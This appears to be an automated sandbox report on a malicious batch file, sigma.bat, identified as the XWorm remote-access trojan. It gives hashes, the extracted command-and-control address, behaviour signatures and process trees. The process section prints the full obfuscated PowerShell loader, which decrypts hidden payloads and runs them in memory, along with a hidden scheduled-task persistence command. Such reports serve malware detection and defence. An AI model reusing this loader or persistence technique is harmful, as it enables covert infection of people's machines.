Analysis
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max time kernel
36s -
max time network
34s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09-11-2024 14:32
Static task
static1
Behavioral task
behavioral1
Sample
sigma.bat
Resource
win7-20241010-en
General
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Target
sigma.bat
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Size
467KB
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MD5
820debc2f4f0c9222c455ad0befb35ca
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SHA1
2f64b6503ac7e19c37d2556c5a8096b593b152d3
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SHA256
722075c841ad49931e716a80a1ba276b325ee7eb7062e295140107ac73b4f9ec
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SHA512
c713b74b0163483a53454cfdbdf6a005950d0bf1e044698c93bfeb2e9fed2866fef0c17d5b7b6573dec062b1edcdc3e3eb8574c74a0beaeb370466d1c250d744
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SSDEEP
12288:vTCh8WuzcDLPRPcIA7ewthD6ERekdWYb9ACXrjuJYD5S9J:7sBut/thDZUirA2rvD49J
Malware Config
Extracted
xworm
127.0.0.1:32758
pressure-continuous.gl.at.ply.gg:32758
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Install_directory
%AppData%
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/3584-51-0x00000269FB510000-0x00000269FB52A000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 3 IoCs
flow pid Process 15 3584 powershell.exe 42 4872 msiexec.exe 44 4872 msiexec.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 3048 powershell.exe 4772 powershell.exe 3584 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation Bootstrapper.exe -
Executes dropped EXE 1 IoCs
pid Process 1852 Bootstrapper.exe -
Loads dropped DLL 9 IoCs
pid Process 4936 MsiExec.exe 4936 MsiExec.exe 1284 MsiExec.exe 1284 MsiExec.exe 1284 MsiExec.exe 1284 MsiExec.exe 1284 MsiExec.exe 3680 MsiExec.exe 3680 MsiExec.exe -
Unexpected DNS network traffic destination 10 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description ioc Destination IP 1.0.0.1 Destination IP 1.0.0.1 Destination IP 1.0.0.1 Destination IP 1.0.0.1 Destination IP 1.0.0.1 Destination IP 1.0.0.1 Destination IP 1.0.0.1 Destination IP 1.0.0.1 Destination IP 1.0.0.1 Destination IP 1.0.0.1 -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 14 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmaccess\LICENSE msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\tuf-js\dist\utils\tmpfile.d.ts msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\sigstore\dist\util\dsse.d.ts msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\lib\utils\format-search-stream.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\lib\commands\install-test.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\sigstore\store\public-good-instance-root.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\readable-stream\lib\internal\streams\compose.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\tuf-js\dist\index.d.ts msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\semver\ranges\valid.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\sigstore\dist\types\sigstore\serialized.d.ts msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\binary-extensions\license msiexec.exe File opened for modification C:\Program Files\nodejs\node_etw_provider.man MsiExec.exe File created C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-docs.html msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\minipass-fetch\LICENSE msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\readable-stream\lib\internal\streams\duplex.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\agentkeepalive\index.d.ts msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\postcss-selector-parser\dist\selectors\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\agent-base\src\index.ts msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\events\security.md msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\tar\lib\warn-mixin.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\lib\utils\validate-lockfile.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\npm-install-checks\LICENSE msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\gauge\lib\themes.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-adduser.html msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\imurmurhash\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\postcss-selector-parser\dist\selectors\tag.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\node_modules\npmlog\LICENSE.md msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\socks\docs\index.md msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\sigstore\dist\types\sigstore\__generated__\sigstore_verification.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\events\tests\listeners.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\npm-audit-report\lib\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\treeverse\lib\depth-descent.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\node_modules\gauge\lib\template-item.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\lib\commands\token.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\common-ancestor-path\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\lib\utils\tar.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\readable-stream\lib\internal\streams\readable.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\binary-extensions\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\socks\docs\examples\typescript\bindExample.md msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\cmd-shim\lib\to-batch-syntax.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\man\man1\npm-find-dupes.1 msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\node_modules\@npmcli\fs\lib\copy-file.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\readable-stream\lib\internal\streams\operators.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\man\man1\npm-edit.1 msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\node_modules\@npmcli\fs\lib\cp\polyfill.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\lib\cli.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\pacote\lib\dir.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\docs\content\configuring-npm\npm-shrinkwrap-json.md msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\semver\functions\neq.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\https-proxy-agent\dist\index.d.ts msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\sigstore\dist\util\json.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\minipass-fetch\lib\response.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\sigstore\dist\x509\asn1\length.d.ts msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\map-workspaces\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\sigstore\dist\identity\oauth.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\cssesc\cssesc.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\mkdirp\LICENSE msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\emoji-regex\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmversion\lib\write-json.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-dist-tag.html msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmteam\lib\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\corepack\shims\nodewin\npx.cmd msiexec.exe -
Drops file in Windows directory 16 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI3D0D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE43.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{EFA235B5-C6A1-42E6-9BC9-02A8D56F1CDC} msiexec.exe File opened for modification C:\Windows\Installer\MSI149F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI1DAB.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI16F2.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI1722.tmp msiexec.exe File opened for modification C:\Windows\Installer\e580a4c.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIEA2.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3C8F.tmp msiexec.exe File created C:\Windows\Installer\e580a4c.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIED2.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI1DCB.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wevtutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe -
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 972 ipconfig.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings powershell.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3048 powershell.exe 3048 powershell.exe 4772 powershell.exe 4772 powershell.exe 3584 powershell.exe 3584 powershell.exe 1852 Bootstrapper.exe 1852 Bootstrapper.exe 4872 msiexec.exe 4872 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3048 powershell.exe Token: SeDebugPrivilege 4772 powershell.exe Token: SeIncreaseQuotaPrivilege 4772 powershell.exe Token: SeSecurityPrivilege 4772 powershell.exe Token: SeTakeOwnershipPrivilege 4772 powershell.exe Token: SeLoadDriverPrivilege 4772 powershell.exe Token: SeSystemProfilePrivilege 4772 powershell.exe Token: SeSystemtimePrivilege 4772 powershell.exe Token: SeProfSingleProcessPrivilege 4772 powershell.exe Token: SeIncBasePriorityPrivilege 4772 powershell.exe Token: SeCreatePagefilePrivilege 4772 powershell.exe Token: SeBackupPrivilege 4772 powershell.exe Token: SeRestorePrivilege 4772 powershell.exe Token: SeShutdownPrivilege 4772 powershell.exe Token: SeDebugPrivilege 4772 powershell.exe Token: SeSystemEnvironmentPrivilege 4772 powershell.exe Token: SeRemoteShutdownPrivilege 4772 powershell.exe Token: SeUndockPrivilege 4772 powershell.exe Token: SeManageVolumePrivilege 4772 powershell.exe Token: 33 4772 powershell.exe Token: 34 4772 powershell.exe Token: 35 4772 powershell.exe Token: 36 4772 powershell.exe Token: SeIncreaseQuotaPrivilege 4772 powershell.exe Token: SeSecurityPrivilege 4772 powershell.exe Token: SeTakeOwnershipPrivilege 4772 powershell.exe Token: SeLoadDriverPrivilege 4772 powershell.exe Token: SeSystemProfilePrivilege 4772 powershell.exe Token: SeSystemtimePrivilege 4772 powershell.exe Token: SeProfSingleProcessPrivilege 4772 powershell.exe Token: SeIncBasePriorityPrivilege 4772 powershell.exe Token: SeCreatePagefilePrivilege 4772 powershell.exe Token: SeBackupPrivilege 4772 powershell.exe Token: SeRestorePrivilege 4772 powershell.exe Token: SeShutdownPrivilege 4772 powershell.exe Token: SeDebugPrivilege 4772 powershell.exe Token: SeSystemEnvironmentPrivilege 4772 powershell.exe Token: SeRemoteShutdownPrivilege 4772 powershell.exe Token: SeUndockPrivilege 4772 powershell.exe Token: SeManageVolumePrivilege 4772 powershell.exe Token: 33 4772 powershell.exe Token: 34 4772 powershell.exe Token: 35 4772 powershell.exe Token: 36 4772 powershell.exe Token: SeIncreaseQuotaPrivilege 4772 powershell.exe Token: SeSecurityPrivilege 4772 powershell.exe Token: SeTakeOwnershipPrivilege 4772 powershell.exe Token: SeLoadDriverPrivilege 4772 powershell.exe Token: SeSystemProfilePrivilege 4772 powershell.exe Token: SeSystemtimePrivilege 4772 powershell.exe Token: SeProfSingleProcessPrivilege 4772 powershell.exe Token: SeIncBasePriorityPrivilege 4772 powershell.exe Token: SeCreatePagefilePrivilege 4772 powershell.exe Token: SeBackupPrivilege 4772 powershell.exe Token: SeRestorePrivilege 4772 powershell.exe Token: SeShutdownPrivilege 4772 powershell.exe Token: SeDebugPrivilege 4772 powershell.exe Token: SeSystemEnvironmentPrivilege 4772 powershell.exe Token: SeRemoteShutdownPrivilege 4772 powershell.exe Token: SeUndockPrivilege 4772 powershell.exe Token: SeManageVolumePrivilege 4772 powershell.exe Token: 33 4772 powershell.exe Token: 34 4772 powershell.exe Token: 35 4772 powershell.exe -
Suspicious use of WriteProcessMemory 43 IoCs
description pid Process procid_target PID 636 wrote to memory of 4884 636 cmd.exe 84 PID 636 wrote to memory of 4884 636 cmd.exe 84 PID 4884 wrote to memory of 3488 4884 net.exe 85 PID 4884 wrote to memory of 3488 4884 net.exe 85 PID 636 wrote to memory of 3048 636 cmd.exe 89 PID 636 wrote to memory of 3048 636 cmd.exe 89 PID 3048 wrote to memory of 4772 3048 powershell.exe 92 PID 3048 wrote to memory of 4772 3048 powershell.exe 92 PID 3048 wrote to memory of 1592 3048 powershell.exe 96 PID 3048 wrote to memory of 1592 3048 powershell.exe 96 PID 1592 wrote to memory of 4244 1592 WScript.exe 97 PID 1592 wrote to memory of 4244 1592 WScript.exe 97 PID 4244 wrote to memory of 1940 4244 cmd.exe 99 PID 4244 wrote to memory of 1940 4244 cmd.exe 99 PID 1940 wrote to memory of 2112 1940 net.exe 100 PID 1940 wrote to memory of 2112 1940 net.exe 100 PID 4244 wrote to memory of 3584 4244 cmd.exe 101 PID 4244 wrote to memory of 3584 4244 cmd.exe 101 PID 3584 wrote to memory of 1852 3584 powershell.exe 103 PID 3584 wrote to memory of 1852 3584 powershell.exe 103 PID 1852 wrote to memory of 1624 1852 Bootstrapper.exe 105 PID 1852 wrote to memory of 1624 1852 Bootstrapper.exe 105 PID 1624 wrote to memory of 972 1624 cmd.exe 107 PID 1624 wrote to memory of 972 1624 cmd.exe 107 PID 1852 wrote to memory of 2724 1852 Bootstrapper.exe 114 PID 1852 wrote to memory of 2724 1852 Bootstrapper.exe 114 PID 2724 wrote to memory of 1876 2724 cmd.exe 116 PID 2724 wrote to memory of 1876 2724 cmd.exe 116 PID 1852 wrote to memory of 4976 1852 Bootstrapper.exe 117 PID 1852 wrote to memory of 4976 1852 Bootstrapper.exe 117 PID 4872 wrote to memory of 4936 4872 msiexec.exe 120 PID 4872 wrote to memory of 4936 4872 msiexec.exe 120 PID 4872 wrote to memory of 1284 4872 msiexec.exe 121 PID 4872 wrote to memory of 1284 4872 msiexec.exe 121 PID 4872 wrote to memory of 1284 4872 msiexec.exe 121 PID 4872 wrote to memory of 3680 4872 msiexec.exe 124 PID 4872 wrote to memory of 3680 4872 msiexec.exe 124 PID 4872 wrote to memory of 3680 4872 msiexec.exe 124 PID 3680 wrote to memory of 556 3680 MsiExec.exe 125 PID 3680 wrote to memory of 556 3680 MsiExec.exe 125 PID 3680 wrote to memory of 556 3680 MsiExec.exe 125 PID 556 wrote to memory of 404 556 wevtutil.exe 127 PID 556 wrote to memory of 404 556 wevtutil.exe 127
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sigma.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:4884 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:3488
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tAX32kKNIA57v2PtuvPcK8ir8QplMdCOor3YMSiLeTU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wF3c9IhrNPKw6p+lQ8lg3Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KImyR=New-Object System.IO.MemoryStream(,$param_var); $RDOIU=New-Object System.IO.MemoryStream; $XQVZK=New-Object System.IO.Compression.GZipStream($KImyR, [IO.Compression.CompressionMode]::Decompress); $XQVZK.CopyTo($RDOIU); $XQVZK.Dispose(); $KImyR.Dispose(); $RDOIU.Dispose(); $RDOIU.ToArray();}function execute_function($param_var,$param2_var){ $VtPlg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DmKAS=$VtPlg.EntryPoint; $DmKAS.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\sigma.bat';$GjSSJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\sigma.bat').Split([Environment]::NewLine);foreach ($Rmxqb in $GjSSJ) { if ($Rmxqb.StartsWith(':: ')) { $CZpHS=$Rmxqb.Substring(3); break; }}$payloads_var=[string[]]$CZpHS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_132_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_132.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4772
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_132.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_132.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:4244 -
C:\Windows\system32\net.exenet file5⤵
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file6⤵PID:2112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tAX32kKNIA57v2PtuvPcK8ir8QplMdCOor3YMSiLeTU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wF3c9IhrNPKw6p+lQ8lg3Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KImyR=New-Object System.IO.MemoryStream(,$param_var); $RDOIU=New-Object System.IO.MemoryStream; $XQVZK=New-Object System.IO.Compression.GZipStream($KImyR, [IO.Compression.CompressionMode]::Decompress); $XQVZK.CopyTo($RDOIU); $XQVZK.Dispose(); $KImyR.Dispose(); $RDOIU.Dispose(); $RDOIU.ToArray();}function execute_function($param_var,$param2_var){ $VtPlg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DmKAS=$VtPlg.EntryPoint; $DmKAS.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_132.bat';$GjSSJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_132.bat').Split([Environment]::NewLine);foreach ($Rmxqb in $GjSSJ) { if ($Rmxqb.StartsWith(':: ')) { $CZpHS=$Rmxqb.Substring(3); break; }}$payloads_var=[string[]]$CZpHS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\SYSTEM32\cmd.exe"cmd" /c ipconfig /all7⤵
- Suspicious use of WriteProcessMemory
PID:1624 -
C:\Windows\system32\ipconfig.exeipconfig /all8⤵
- Gathers network information
PID:972
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c wmic nicconfig where (IPEnabled=TRUE) call SetDNSServerSearchOrder ("1.1.1.1", "1.0.0.1")7⤵
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Windows\System32\Wbem\WMIC.exewmic nicconfig where (IPEnabled=TRUE) call SetDNSServerSearchOrder ("1.1.1.1", "1.0.0.1")8⤵PID:1876
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C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\node-v18.16.0-x64.msi" /qn7⤵PID:4976
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4872 -
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 00A268D38672B998D216E5CE1DB0F1092⤵
- Loads dropped DLL
PID:4936
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C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 96546D6DD2A48AC70B6330002FEF77252⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1284
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C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1715F4B14843FCE2AB19937845DF67CE E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Windows\SysWOW64\wevtutil.exe"wevtutil.exe" im "C:\Program Files\nodejs\node_etw_provider.man"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\System32\wevtutil.exe"wevtutil.exe" im "C:\Program Files\nodejs\node_etw_provider.man" /fromwow644⤵PID:404
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
10KB
MD51d51e18a7247f47245b0751f16119498
SHA178f5d95dd07c0fcee43c6d4feab12d802d194d95
SHA2561975aa34c1050b8364491394cebf6e668e2337c3107712e3eeca311262c7c46f
SHA5121eccbe4ddae3d941b36616a202e5bd1b21d8e181810430a1c390513060ae9e3f12cd23f5b66ae0630fd6496b3139e2cc313381b5506465040e5a7a3543444e76
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Filesize
8KB
MD5d3bc164e23e694c644e0b1ce3e3f9910
SHA11849f8b1326111b5d4d93febc2bafb3856e601bb
SHA2561185aaa5af804c6bc6925f5202e68bb2254016509847cd382a015907440d86b4
SHA51291ebff613f4c35c625bb9b450726167fb77b035666ed635acf75ca992c4846d952655a2513b4ecb8ca6f19640d57555f2a4af3538b676c3bd2ea1094c4992854
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Filesize
818B
MD52916d8b51a5cc0a350d64389bc07aef6
SHA1c9d5ac416c1dd7945651bee712dbed4d158d09e1
SHA256733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
SHA512508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74
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Filesize
1KB
MD55ad87d95c13094fa67f25442ff521efd
SHA101f1438a98e1b796e05a74131e6bb9d66c9e8542
SHA25667292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec
SHA5127187720ccd335a10c9698f8493d6caa2d404e7b21731009de5f0da51ad5b9604645fbf4bc640aa94513b9eb372aa6a31df2467198989234bc2afbce87f76fbc3
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Filesize
754B
MD5d2cf52aa43e18fdc87562d4c1303f46a
SHA158fb4a65fffb438630351e7cafd322579817e5e1
SHA25645e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
SHA51254e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16
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Filesize
771B
MD5e9dc66f98e5f7ff720bf603fff36ebc5
SHA1f2b428eead844c4bf39ca0d0cf61f6b10aeeb93b
SHA256b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79
SHA5128027d65e1556511c884cb80d3c1b846fc9d321f3f83002664ad3805c4dee8e6b0eaf1db81c459153977bdbde9e760b0184ba6572f68d78c37bff617646bcfc3b
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Filesize
730B
MD5072ac9ab0c4667f8f876becedfe10ee0
SHA10227492dcdc7fb8de1d14f9d3421c333230cf8fe
SHA2562ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
SHA512f38fd6506bd9795bb27d31f1ce38b08c9e6f1689c34fca90e9e1d5194fa064d1f34a9c51d15941506ebbbcd6d4193055e9664892521b7e39ebcd61c3b6f25013
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C:\Program Files\nodejs\node_modules\npm\node_modules\minipass-pipeline\node_modules\minipass\package.json
Filesize1KB
MD5d116a360376e31950428ed26eae9ffd4
SHA1192b8e06fb4e1f97e5c5c7bf62a9bff7704c198b
